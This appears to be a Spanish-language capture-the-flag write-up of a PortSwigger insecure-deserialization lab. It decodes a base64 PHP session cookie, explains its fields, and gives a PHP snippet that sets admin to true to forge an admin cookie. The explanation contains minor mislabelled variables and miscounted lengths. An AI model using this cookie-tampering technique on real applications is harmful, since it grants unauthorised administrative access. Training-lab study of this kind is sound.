Modifying serialized objects
This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
https://siunam321.github.io/ctf/portswigger-labs/Insecure-Deserialization/deserial-1/ Al iniciar sesion y decodificar la el valor de Set-Cookie de la respuesta y reconocer que es un valor codificado en url encoded por el %30 al final y luego en base64 por el "=" se evidencia que esu n objeto PHP serializado :
echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' |base64 -d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}%
0:4:"User": objeto User con longitud de 4 caracteres:2:hay 2 atributos:s:8:"username"primer atributo llamado username con longitud de 5 caracteress:6:"wie ner"valor del primer atributo con longitud 6
s:5:"admin"segundo atributo llamado adminb:0valor booleano para el atributo admin
con lo anterior se pude escribir un codigo PHP para serializar y deserializar este objeto PHP:
<?php
$deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';
$serializedObject = unserialize($deserializedObject);
echo "[+] Serialized: \n";
var_dump($serializedObject);
echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>
Salida:
+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "User"
["username"]=>
string(6) "wiener"
["admin"]=>
bool(true)
}
[+] Base64 encoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=